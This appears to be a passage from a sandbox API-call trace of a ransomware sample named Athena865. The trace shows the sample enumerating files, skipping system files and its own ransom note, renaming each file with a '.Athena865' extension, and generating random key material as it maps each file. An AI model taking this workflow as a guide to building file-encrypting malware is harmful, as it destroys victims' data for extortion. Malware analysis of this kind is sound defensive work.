ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2=".") returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="..") returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="windows") returned -1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="bootmgr") returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="temp") returned -1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="pagefile.sys") returned -1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="boot") returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="ids.txt") returned 1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="ntuser.dat") returned -1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="perflogs") returned -1 [0107.806] lstrcmpiW (lpString1="MS.CGM", lpString2="MSBuild") returned -1 [0107.806] lstrlenW (lpString="MS.CGM") returned 6 [0107.806] lstrcpyW (in: lpString1=0x241e8b6, lpString2="MS.CGM" | out: lpString1="MS.CGM") returned="MS.CGM" [0107.806] lstrlenW (lpString="MS.CGM") returned 6 [0107.806] lstrlenW (lpString="Athena865") returned 9 [0107.807] lstrlenW (lpString=".dll") returned 4 [0107.807] lstrcmpiW (lpString1="MS.CGM", lpString2=".dll") returned 1 [0107.807] lstrlenW (lpString=".lnk") returned 4 [0107.807] lstrcmpiW (lpString1="MS.CGM", lpString2=".lnk") returned 1 [0107.807] lstrlenW (lpString=".ini") returned 4 [0107.807] lstrcmpiW (lpString1="MS.CGM", lpString2=".ini") returned 1 [0107.807] lstrlenW (lpString=".sys") returned 4 [0107.807] lstrcmpiW (lpString1="MS.CGM", lpString2=".sys") returned 1 [0107.807] lstrlenW (lpString="MS.CGM") returned 6 [0107.807] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.Athena865") returned 71 [0107.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.athena865"), dwFlags=0x1) returned 1 [0107.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.815] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1908) returned 1 [0107.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.815] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.816] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.816] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.816] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa80, lpName=0x0) returned 0x17c [0107.818] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa80) returned 0x100000 [0107.823] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.824] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.824] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.825] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.825] CloseHandle (hObject=0x17c) returned 1 [0107.825] CloseHandle (hObject=0x154) returned 1 [0107.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.825] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2=".") returned 1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="..") returned 1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="windows") returned -1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="bootmgr") returned 1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="temp") returned -1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="pagefile.sys") returned -1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="boot") returned 1 [0107.825] lstrcmpiW (lpString1="MS.EPS", lpString2="ids.txt") returned 1 [0107.826] lstrcmpiW (lpString1="MS.EPS", lpString2="ntuser.dat") returned -1 [0107.826] lstrcmpiW (lpString1="MS.EPS", lpString2="perflogs") returned -1 [0107.826] lstrcmpiW (lpString1="MS.EPS", lpString2="MSBuild") returned -1 [0107.826] lstrlenW (lpString="MS.EPS") returned 6 [0107.826] lstrcpyW (in: lpString1=0x241e8b6, lpString2="MS.EPS" | out: lpString1="MS.EPS") returned="MS.EPS" [0107.826] lstrlenW (lpString="MS.EPS") returned 6 [0107.826] lstrlenW (lpString="Athena865") returned 9 [0107.826] lstrlenW (lpString=".dll") returned 4 [0107.826] lstrcmpiW (lpString1="MS.EPS", lpString2=".dll") returned 1 [0107.826] lstrlenW (lpString=".lnk") returned 4 [0107.826] lstrcmpiW (lpString1="MS.EPS", lpString2=".lnk") returned 1 [0107.826] lstrlenW (lpString=".ini") returned 4 [0107.826] lstrcmpiW (lpString1="MS.EPS", lpString2=".ini") returned 1 [0107.826] lstrlenW (lpString=".sys") returned 4 [0107.826] lstrcmpiW (lpString1="MS.EPS", lpString2=".sys") returned 1 [0107.826] lstrlenW (lpString="MS.EPS") returned 6 [0107.826] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.Athena865") returned 71 [0107.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.athena865"), dwFlags=0x1) returned 1 [0107.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.827] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15067) returned 1 [0107.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.827] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.828] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.828] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.828] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3de0, lpName=0x0) returned 0x17c [0107.830] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3de0) returned 0x100000 [0107.836] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.837] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.837] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.838] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.838] CloseHandle (hObject=0x17c) returned 1 [0107.838] CloseHandle (hObject=0x154) returned 1 [0107.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.838] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0107.838] lstrcmpiW (lpString1="MS.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.838] lstrcmpiW (lpString1="MS.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.838] lstrcmpiW (lpString1="MS.GIF", lpString2=".") returned 1 [0107.838] lstrcmpiW (lpString1="MS.GIF", lpString2="..") returned 1 [0107.838] lstrcmpiW (lpString1="MS.GIF", lpString2="windows") returned -1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="bootmgr") returned 1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="temp") returned -1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="pagefile.sys") returned -1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="boot") returned 1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="ids.txt") returned 1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="ntuser.dat") returned -1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="perflogs") returned -1 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2="MSBuild") returned -1 [0107.839] lstrlenW (lpString="MS.GIF") returned 6 [0107.839] lstrcpyW (in: lpString1=0x241e8b6, lpString2="MS.GIF" | out: lpString1="MS.GIF") returned="MS.GIF" [0107.839] lstrlenW (lpString="MS.GIF") returned 6 [0107.839] lstrlenW (lpString="Athena865") returned 9 [0107.839] lstrlenW (lpString=".dll") returned 4 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2=".dll") returned 1 [0107.839] lstrlenW (lpString=".lnk") returned 4 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2=".lnk") returned 1 [0107.839] lstrlenW (lpString=".ini") returned 4 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2=".ini") returned 1 [0107.839] lstrlenW (lpString=".sys") returned 4 [0107.839] lstrcmpiW (lpString1="MS.GIF", lpString2=".sys") returned 1 [0107.839] lstrlenW (lpString="MS.GIF") returned 6 [0107.839] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.Athena865") returned 71 [0107.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.athena865"), dwFlags=0x1) returned 1 [0107.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.840] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1069) returned 1 [0107.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.841] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.841] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.841] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.842] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x730, lpName=0x0) returned 0x17c [0107.846] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x730) returned 0x100000 [0107.854] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.854] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.854] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.855] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.855] CloseHandle (hObject=0x17c) returned 1 [0107.855] CloseHandle (hObject=0x154) returned 1 [0107.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.855] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2=".") returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="..") returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="windows") returned -1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="bootmgr") returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="temp") returned -1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="pagefile.sys") returned -1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="boot") returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="ids.txt") returned 1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="ntuser.dat") returned -1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="perflogs") returned -1 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2="MSBuild") returned -1 [0107.856] lstrlenW (lpString="MS.JPG") returned 6 [0107.856] lstrcpyW (in: lpString1=0x241e8b6, lpString2="MS.JPG" | out: lpString1="MS.JPG") returned="MS.JPG" [0107.856] lstrlenW (lpString="MS.JPG") returned 6 [0107.856] lstrlenW (lpString="Athena865") returned 9 [0107.856] lstrlenW (lpString=".dll") returned 4 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2=".dll") returned 1 [0107.856] lstrlenW (lpString=".lnk") returned 4 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2=".lnk") returned 1 [0107.856] lstrlenW (lpString=".ini") returned 4 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2=".ini") returned 1 [0107.856] lstrlenW (lpString=".sys") returned 4 [0107.856] lstrcmpiW (lpString1="MS.JPG", lpString2=".sys") returned 1 [0107.856] lstrlenW (lpString="MS.JPG") returned 6 [0107.856] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.Athena865") returned 71 [0107.856] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.athena865"), dwFlags=0x1) returned 1 [0107.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.863] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1061) returned 1 [0107.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.863] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.864] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.864] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.864] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x730, lpName=0x0) returned 0x17c [0107.865] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x730) returned 0x100000 [0107.871] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.871] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.872] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.872] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.872] CloseHandle (hObject=0x17c) returned 1 [0107.872] CloseHandle (hObject=0x154) returned 1 [0107.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2=".") returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="..") returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="windows") returned -1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="bootmgr") returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="temp") returned -1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="pagefile.sys") returned -1 